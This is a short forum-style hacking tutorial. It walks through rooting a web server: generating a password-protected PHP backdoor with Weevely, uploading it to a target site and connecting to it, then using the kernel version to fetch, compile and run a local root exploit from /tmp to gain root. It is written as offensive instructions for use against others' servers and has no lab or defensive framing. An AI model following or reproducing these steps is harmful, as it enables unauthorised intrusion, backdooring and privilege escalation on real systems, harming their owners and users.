Rooting a Server with Weevely

Hi GuYsย 
Today we will learn to Root A Server with Weevely ๐Ÿ™‚
Weevely is a python script to backconnect to the shell and makes the tiniest backdoor to connect ๐Ÿ™‚
You can google it and Its Mostly used by the people which dont have open ports ๐Ÿ™‚
So Our Tutorial Starts from here ๐Ÿ˜‰
First of all Open Weevely ๐Ÿ™‚
Now type “./main.py -g -o /root/Desktop/backdoor.php -p r00T”
By this command it will make a backdoor.php in Desktop with Password: r00T
===========================================================
Now Next Step is to upload our backdoor to the server by shell and then
type “./main.py -t -u http://www.target.com/uploads/backdoor.php -p r00T”ย 
and then it will connect to the server ๐Ÿ™‚
===========================================================
Now We have to find the version of the kernel its using ๐Ÿ™‚
For Finding that type : “uname -a” and then it will show you the kernel version.
for example my kernel version is 2.6.18 2012 so I will find a local root exploit forย 
2.6.18 2012 kernel version ๐Ÿ™‚
Rooting depends on local root exploits.
===========================================================
We will use “WGET” to download the local root exploit ๐Ÿ™‚
First change the dir to “tmp”
now type: “cd /tmp/”
and now download exploit ๐Ÿ™‚
and then we have to compile it by this commandย 
“gcc 2.6.18.c -o KiDSec”
and then ย it will be compiled ๐Ÿ™‚
Now chmod 777 KiDSec
By typing ” chmod 777 KiDSec”
===========================================================
Now Just Simply run exploit by typingย 
./KiDSec
===========================================================
Y0 Server Rooted !!
Now to check if Server is rooted so type “id”
and then it should sayย 
“uid=(root) gid=(root)”
==========================================================
Thanks For Reading My Tutorial ๐Ÿ™‚
./TR4CK3R